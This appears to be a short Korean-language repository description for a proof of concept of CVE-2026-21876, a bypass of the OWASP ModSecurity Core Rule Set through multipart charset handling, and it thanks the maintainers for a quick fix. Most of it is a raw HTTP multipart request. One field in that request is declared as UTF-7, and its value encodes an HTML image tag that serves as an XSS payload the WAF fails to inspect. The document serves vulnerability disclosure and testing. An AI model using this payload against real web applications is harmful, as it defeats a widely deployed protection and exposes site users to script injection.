mefhika120/cve-2026-21876최소 PoC 및 Docker 컨테이너로, multipart charset 처리 방식을 통한 OWASP ModSecurity CRS의 WAF 우회를 시연하며, 이로 인해 XSS 페이로드가 전달됩니다.
CVE-2026-21876 docker 컨테이너 + 최소 PoC.
@airween 님과 @fzipi 님께 각각 빠른 대응에 감사드립니다! 취약점 수정은 매우 짧은 시간 안에 준비되었습니다.
POST /submit HTTP/1.1
Host: localhost
User-Agent: curl/8.17.0
Accept: */*
Origin: https://example.com
Content-Length: 367
Content-Type: multipart/form-data; boundary=------------------------cmOi6twNhVJDu76bOwDTVz
--------------------------cmOi6twNhVJDu76bOwDTVz
Content-Disposition: form-data; name="username"
Content-Type: text/plain; charset=utf-7
+ADw-img+ACA-src+AD0-x+AD4-
--------------------------cmOi6twNhVJDu76bOwDTVz
Content-Disposition: form-data; name="dummy"
Content-Type: text/plain; charset=utf-8
dummy
--------------------------cmOi6twNhVJDu76bOwDTVz--
username 값은 화이트리스트에 포함되지 않은 문자에 대해 검사되지 않으며, 이로 인해 WAF 우회가 발생합니다.
